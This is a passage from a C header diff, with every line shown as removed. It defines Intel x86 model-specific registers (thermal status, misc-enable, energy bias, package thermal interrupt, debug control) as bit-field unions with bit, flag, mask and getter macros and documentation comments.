7] Thermal Threshold \#1 log - * - * @remarks If CPUID.01H:ECX[8] = 1 - */ - uint64_t thermal_threshold1_log : 1; -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG_BIT 7 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG_FLAG 0x80 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG_MASK 0x01 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] Thermal Threshold \#2 Status - * - * @remarks If CPUID.01H:ECX[8] = 1 - */ - uint64_t thermal_threshold2_status : 1; -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_BIT 8 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_FLAG 0x100 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_MASK 0x01 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] Thermal Threshold \#2 log - * - * @remarks If CPUID.01H:ECX[8] = 1 - */ - uint64_t thermal_threshold2_log : 1; -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG_BIT 9 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG_FLAG 0x200 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG_MASK 0x01 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] Power Limitation Status - * - * @remarks If CPUID.06H:EAX[4] = 1 - */ - uint64_t power_limitation_status : 1; -#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS_BIT 10 -#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS_FLAG 0x400 -#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS_MASK 0x01 -#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] Power Limitation log - * - * @remarks If CPUID.06H:EAX[4] = 1 - */ - uint64_t power_limitation_log : 1; -#define IA32_THERM_STATUS_POWER_LIMITATION_LOG_BIT 11 -#define IA32_THERM_STATUS_POWER_LIMITATION_LOG_FLAG 0x800 -#define IA32_THERM_STATUS_POWER_LIMITATION_LOG_MASK 0x01 -#define IA32_THERM_STATUS_POWER_LIMITATION_LOG(_) (((_) >> 11) & 0x01) - - /** - * [Bit 12] Current Limit Status - * - * @remarks If CPUID.06H:EAX[7] = 1 - */ - uint64_t current_limit_status : 1; -#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS_BIT 12 -#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS_FLAG 0x1000 -#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS_MASK 0x01 -#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS(_) (((_) >> 12) & 0x01) - - /** - * [Bit 13] Current Limit log - * - * @remarks If CPUID.06H:EAX[7] = 1 - */ - uint64_t current_limit_log : 1; -#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG_BIT 13 -#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG_FLAG 0x2000 -#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG_MASK 0x01 -#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG(_) (((_) >> 13) & 0x01) - - /** - * [Bit 14] Cross Domain Limit Status - * - * @remarks If CPUID.06H:EAX[7] = 1 - */ - uint64_t cross_domain_limit_status : 1; -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS_BIT 14 -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS_FLAG 0x4000 -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS_MASK 0x01 -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS(_) (((_) >> 14) & 0x01) - - /** - * [Bit 15] Cross Domain Limit log - * - * @remarks If CPUID.06H:EAX[7] = 1 - */ - uint64_t cross_domain_limit_log : 1; -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG_BIT 15 -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG_FLAG 0x8000 -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG_MASK 0x01 -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG(_) (((_) >> 15) & 0x01) - - /** - * [Bits 22:16] Digital Readout - * - * @remarks If CPUID.06H:EAX[0] = 1 - */ - uint64_t digital_readout : 7; -#define IA32_THERM_STATUS_DIGITAL_READOUT_BIT 16 -#define IA32_THERM_STATUS_DIGITAL_READOUT_FLAG 0x7F0000 -#define IA32_THERM_STATUS_DIGITAL_READOUT_MASK 0x7F -#define IA32_THERM_STATUS_DIGITAL_READOUT(_) (((_) >> 16) & 0x7F) - uint64_t reserved1 : 4; - - /** - * [Bits 30:27] Resolution in Degrees Celsius - * - * @remarks If CPUID.06H:EAX[0] = 1 - */ - uint64_t resolution_in_degrees_celsius : 4; -#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS_BIT 27 -#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS_FLAG 0x78000000 -#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS_MASK 0x0F -#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS(_) (((_) >> 27) & 0x0F) - - /** - * [Bit 31] Reading Valid - * - * @remarks If CPUID.06H:EAX[0] = 1 - */ - uint64_t reading_valid : 1; -#define IA32_THERM_STATUS_READING_VALID_BIT 31 -#define IA32_THERM_STATUS_READING_VALID_FLAG 0x80000000 -#define IA32_THERM_STATUS_READING_VALID_MASK 0x01 -#define IA32_THERM_STATUS_READING_VALID(_) (((_) >> 31) & 0x01) - uint64_t reserved2 : 32; - }; - - uint64_t flags; -} ia32_therm_status_register; - - -/** - * @brief Enable Misc. Processor Features (R/W) - * - * Allows a variety of processor functions to be enabled and disabled. - */ -#define IA32_MISC_ENABLE 0x000001A0 -typedef union -{ - struct - { - /** - * @brief Fast-Strings Enable - * - * [Bit 0] When set, the fast-strings feature (for REP MOVS and REP STORS) is enabled (default). When clear, fast-strings - * are disabled. - * - * @remarks 0F_0H - */ - uint64_t fast_strings_enable : 1; -#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE_BIT 0 -#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE_FLAG 0x01 -#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE_MASK 0x01 -#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 2; - - /** - * @brief Automatic Thermal Control Circuit Enable (R/W) - * - * [Bit 3] - 1 = Setting this bit enables the thermal control circuit (TCC) portion of the Intel Thermal Monitor feature. - * This allows the processor to automatically reduce power consumption in response to TCC activation. - * - 0 = Disabled. - * - * @note In some products clearing this bit might be ignored in critical thermal conditions, and TM1, TM2 and adaptive - * thermal throttling will still be activated. The default value of this field varies with product. - * @remarks 0F_0H - */ - uint64_t automatic_thermal_control_circuit_enable : 1; -#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE_BIT 3 -#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE_FLAG 0x08 -#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE_MASK 0x01 -#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE(_) (((_) >> 3) & 0x01) - uint64_t reserved2 : 3; - - /** - * @brief Performance Monitoring Available (R) - * - * [Bit 7] - 1 = Performance monitoring enabled. - * - 0 = Performance monitoring disabled. - * - * @remarks 0F_0H - */ - uint64_t performance_monitoring_available : 1; -#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE_BIT 7 -#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE_FLAG 0x80 -#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE_MASK 0x01 -#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE(_) (((_) >> 7) & 0x01) - uint64_t reserved3 : 3; - - /** - * @brief Branch Trace Storage Unavailable (RO) - * - * [Bit 11] - 1 = Processor doesn't support branch trace storage (BTS). - * - 0 = BTS is supported. - * - * @remarks 0F_0H - */ - uint64_t branch_trace_storage_unavailable : 1; -#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE_BIT 11 -#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE_FLAG 0x800 -#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE_MASK 0x01 -#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE(_) (((_) >> 11) & 0x01) - - /** - * @brief Processor Event Based Sampling (PEBS) Unavailable (RO) - * - * [Bit 12] - 1 = PEBS is not supported. - * - 0 = PEBS is supported. - * - * @remarks 06_0FH - */ - uint64_t processor_event_based_sampling_unavailable : 1; -#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE_BIT 12 -#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE_FLAG 0x1000 -#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE_MASK 0x01 -#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE(_) (((_) >> 12) & 0x01) - uint64_t reserved4 : 3; - - /** - * @brief Enhanced Intel SpeedStep Technology Enable (R/W) - * - * [Bit 16] - 0 = Enhanced Intel SpeedStep Technology disabled. - * - 1 = Enhanced Intel SpeedStep Technology enabled. - * - * @remarks If CPUID.01H: ECX[7] = 1 - */ - uint64_t enhanced_intel_speedstep_technology_enable : 1; -#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE_BIT 16 -#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE_FLAG 0x10000 -#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE_MASK 0x01 -#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE(_) (((_) >> 16) & 0x01) - uint64_t reserved5 : 1; - - /** - * @brief ENABLE MONITOR FSM (R/W) - * - * [Bit 18] When this bit is set to 0, the MONITOR feature flag is not set (CPUID.01H:ECX[bit3] = 0). This indicates that - * MONITOR/MWAIT are not supported. Software attempts to execute MONITOR/MWAIT will cause \#UD when this bit is 0. - * When this bit is set to 1 (default), MONITOR/MWAIT are supported (CPUID.01H:ECX[bit 3] = 1). If the SSE3 feature flag - * ECX[0] is not set (CPUID.01H:ECX[bit 0] = 0), the OS must not attempt to alter this bit. BIOS must leave it in the - * default state. Writing this bit when the SSE3 feature flag is set to 0 may generate a \#GP exception. - * - * @remarks 0F_03H - */ - uint64_t enable_monitor_fsm : 1; -#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM_BIT 18 -#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM_FLAG 0x40000 -#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM_MASK 0x01 -#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM(_) (((_) >> 18) & 0x01) - uint64_t reserved6 : 3; - - /** - * @brief Limit CPUID Maxval (R/W) - * - * [Bit 22] When this bit is set to 1, CPUID.00H returns a maximum value in EAX[7:0] of 2. BIOS should contain a setup - * question that allows users to specify when the installed OS does not support CPUID functions greater than 2. - * Before setting this bit, BIOS must execute the CPUID.0H and examine the maximum value returned in EAX[7:0]. If the - * maximum value is greater than 2, this bit is supported. - * Otherwise, this bit is not supported. Setting this bit when the maximum value is not greater than 2 may generate a \#GP - * exception. Setting this bit may cause unexpected behavior in software that depends on the availability of CPUID leaves - * greater than 2. - * - * @remarks 0F_03H - */ - uint64_t limit_cpuid_maxval : 1; -#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL_BIT 22 -#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL_FLAG 0x400000 -#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL_MASK 0x01 -#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL(_) (((_) >> 22) & 0x01) - - /** - * @brief xTPR Message Disable (R/W) - * - * [Bit 23] When set to 1, xTPR messages are disabled. xTPR messages are optional messages that allow the processor to - * inform the chipset of its priority. - * - * @remarks If CPUID.01H:ECX[14] = 1 - */ - uint64_t xtpr_message_disable : 1; -#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE_BIT 23 -#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE_FLAG 0x800000 -#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE_MASK 0x01 -#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE(_) (((_) >> 23) & 0x01) - uint64_t reserved7 : 10; - - /** - * @brief XD Bit Disable (R/W) - * - * [Bit 34] When set to 1, the Execute Disable Bit feature (XD Bit) is disabled and the XD Bit extended feature flag will - * be clear (CPUID.80000001H: EDX[20]=0). - * When set to a 0 (default), the Execute Disable Bit feature (if available) allows the OS to enable PAE paging and take - * advantage of data only pages. - * BIOS must not alter the contents of this bit location, if XD bit is not supported. Writing this bit to 1 when the XD Bit - * extended feature flag is set to 0 may generate a \#GP exception. - * - * @remarks If CPUID.80000001H:EDX[20] = 1 - */ - uint64_t xd_bit_disable : 1; -#define IA32_MISC_ENABLE_XD_BIT_DISABLE_BIT 34 -#define IA32_MISC_ENABLE_XD_BIT_DISABLE_FLAG 0x400000000 -#define IA32_MISC_ENABLE_XD_BIT_DISABLE_MASK 0x01 -#define IA32_MISC_ENABLE_XD_BIT_DISABLE(_) (((_) >> 34) & 0x01) - uint64_t reserved8 : 29; - }; - - uint64_t flags; -} ia32_misc_enable_register; - - -/** - * Performance Energy Bias Hint. - * - * @remarks If CPUID.6H:ECX[3] = 1 - */ -#define IA32_ENERGY_PERF_BIAS 0x000001B0 -typedef union -{ - struct - { - /** - * @brief Power Policy Preference - * - * [Bits 3:0] - 0 indicates preference to highest performance. - * - 15 indicates preference to maximize energy saving. - */ - uint64_t power_policy_preference : 4; -#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE_BIT 0 -#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE_FLAG 0x0F -#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE_MASK 0x0F -#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE(_) (((_) >> 0) & 0x0F) - uint64_t reserved1 : 60; - }; - - uint64_t flags; -} ia32_energy_perf_bias_register; - - -/** - * @brief Package Thermal Status Information (RO) - * - * Package Thermal Status Information. Contains status information about the package's thermal sensor. - * - * @remarks If CPUID.06H: EAX[6] = 1 - * @see Vol3B[14.8(PACKAGE LEVEL THERMAL MANAGEMENT)] - */ -#define IA32_PACKAGE_THERM_STATUS 0x000001B1 -typedef union -{ - struct - { - /** - * [Bit 0] Pkg Thermal Status - */ - uint64_t thermal_status : 1; -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_BIT 0 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_FLAG 0x01 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Pkg Thermal Status Log - */ - uint64_t thermal_status_log : 1; -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG_BIT 1 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG_FLAG 0x02 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Pkg PROCHOT \# event - */ - uint64_t prochot_event : 1; -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT_BIT 2 -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT_FLAG 0x04 -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Pkg PROCHOT \# log - */ - uint64_t prochot_log : 1; -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG_BIT 3 -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG_FLAG 0x08 -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Pkg Critical Temperature Status - */ - uint64_t critical_temperature_status : 1; -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_BIT 4 -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_FLAG 0x10 -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Pkg Critical Temperature Status Log - */ - uint64_t critical_temperature_status_log : 1; -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_BIT 5 -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_FLAG 0x20 -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Pkg Thermal Threshold \#1 Status - */ - uint64_t thermal_threshold1_status : 1; -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_BIT 6 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_FLAG 0x40 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Pkg Thermal Threshold \#1 log - */ - uint64_t thermal_threshold1_log : 1; -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG_BIT 7 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG_FLAG 0x80 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] Pkg Thermal Threshold \#2 Status - */ - uint64_t thermal_threshold2_status : 1; -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_BIT 8 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_FLAG 0x100 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] Pkg Thermal Threshold \#2 log - */ - uint64_t thermal_threshold2_log : 1; -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG_BIT 9 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG_FLAG 0x200 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] Pkg Power Limitation Status - */ - uint64_t power_limitation_status : 1; -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS_BIT 10 -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS_FLAG 0x400 -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] Pkg Power Limitation log - */ - uint64_t power_limitation_log : 1; -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG_BIT 11 -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG_FLAG 0x800 -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG(_) (((_) >> 11) & 0x01) - uint64_t reserved1 : 4; - - /** - * [Bits 22:16] Pkg Digital Readout - */ - uint64_t digital_readout : 7; -#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT_BIT 16 -#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT_FLAG 0x7F0000 -#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT_MASK 0x7F -#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT(_) (((_) >> 16) & 0x7F) - uint64_t reserved2 : 41; - }; - - uint64_t flags; -} ia32_package_therm_status_register; - - -/** - * @brief Package Thermal Interrupt Control (RO) - * - * Enables and disables the generation of an interrupt on temperature transitions detected with the package's thermal - * sensor. - * - * @remarks If CPUID.06H: EAX[6] = 1 - * @see Vol3B[14.8(PACKAGE LEVEL THERMAL MANAGEMENT)] - */ -#define IA32_PACKAGE_THERM_INTERRUPT 0x000001B2 -typedef union -{ - struct - { - /** - * [Bit 0] Pkg High-Temperature Interrupt Enable. - */ - uint64_t high_temperature_interrupt_enable : 1; -#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_BIT 0 -#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Pkg Low-Temperature Interrupt Enable. - */ - uint64_t low_temperature_interrupt_enable : 1; -#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_BIT 1 -#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x02 -#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Pkg PROCHOT\# Interrupt Enable. - */ - uint64_t prochot_interrupt_enable : 1; -#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_BIT 2 -#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_FLAG 0x04 -#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE(_) (((_) >> 2) & 0x01) - uint64_t reserved1 : 1; - - /** - * [Bit 4] Pkg Overheat Interrupt Enable. - */ - uint64_t overheat_interrupt_enable : 1; -#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE_BIT 4 -#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE_FLAG 0x10 -#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE(_) (((_) >> 4) & 0x01) - uint64_t reserved2 : 3; - - /** - * [Bits 14:8] Pkg Threshold \#1 Value - */ - uint64_t threshold1_value : 7; -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE_BIT 8 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE_FLAG 0x7F00 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE_MASK 0x7F -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE(_) (((_) >> 8) & 0x7F) - - /** - * [Bit 15] Pkg Threshold \#1 Interrupt Enable. - */ - uint64_t threshold1_interrupt_enable : 1; -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_BIT 15 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_FLAG 0x8000 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE(_) (((_) >> 15) & 0x01) - - /** - * [Bits 22:16] Pkg Threshold \#2 Value. - */ - uint64_t threshold2_value : 7; -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE_BIT 16 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE_FLAG 0x7F0000 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE_MASK 0x7F -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE(_) (((_) >> 16) & 0x7F) - - /** - * [Bit 23] Pkg Threshold \#2 Interrupt Enable. - */ - uint64_t threshold2_interrupt_enable : 1; -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_BIT 23 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_FLAG 0x800000 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE(_) (((_) >> 23) & 0x01) - - /** - * [Bit 24] Pkg Power Limit Notification Enable. - */ - uint64_t power_limit_notification_enable : 1; -#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_BIT 24 -#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_FLAG 0x1000000 -#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_MASK 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE(_) (((_) >> 24) & 0x01) - uint64_t reserved3 : 39; - }; - - uint64_t flags; -} ia32_package_therm_interrupt_register; - - -/** - * Trace/Profile Resource Control. - * - * @remarks 06_0EH - */ -#define IA32_DEBUGCTL 0x000001D9 -typedef union -{ - struct - { - /** - * [Bit 0] Setting this bit to 1 enables the processor to record a running trace of the most recent branches taken by the - * processor in the LBR stack. - * - * @remarks 06_01H - */ - uint64_t lbr : 1; -#define IA32_DEBUGCTL_LBR_BIT 0 -#define IA32_DEBUGCTL_LBR_FLAG 0x01 -#define IA32_DEBUGCTL_LBR_MASK 0x01 -#define IA32_DEBUGCTL_LBR(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Setting this bit to 1 enables the processor to treat EFLAGS.TF as single-step on branches instead of single-step - * on instructions. - * - * @remarks 06_01H - */ - uint64_t btf : 1; -#define IA32_DEBUGCTL_BTF_BIT 1 -#define IA32_DEBUGCTL_BTF_FLAG 0x02 -#define IA32_DEBUGCTL_BTF_MASK 0x01 -#define IA32_DEBUGCTL_BTF(_) (((_) >> 1) & 0x01) - uint64_t reserved1 : 4; - - /** - * [Bit 6] Setting this bit to 1 enables branch trace messages to be sent. - * - * @remarks 06_0EH - */ - uint64_t tr : 1; -#define IA32_DEBUGCTL_TR_BIT 6 -#define IA32_DEBUGCTL_TR_FLAG 0x40 -#define IA32_DEBUGCTL_TR_MASK 0x01 -#define IA32_DEBUGCTL_TR(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Setting this bit enables branch trace messages (BTMs) to be logged in a BTS buffer. - * - * @remarks 06_0EH - */ - uint64_t bts : 1; -#define IA32_DEBUGCTL_BTS_BIT 7 -#define IA32_DEBUGCTL_BTS_FLAG 0x80 -#define IA32_DEBUGCTL_BTS_MASK 0x01 -#define IA32_DEBUGCTL_BTS(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] When clear, BTMs are logged in a BTS buffer in circular fashion. When this bit is set, an interrupt is generated - * by the BTS facility when the BTS buffer is full. - * - * @remarks 06_0EH - */ - uint64_t btint : 1; -#define IA32_DEBUGCTL_BTINT_BIT 8 -#define IA32_DEBUGCTL_BTINT_FLAG 0x100 -#define IA32_DEBUGCTL_BTINT_MASK 0x01 -#define IA32_DEBUGCTL_BTINT(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] When set, BTS or BTM is skipped if 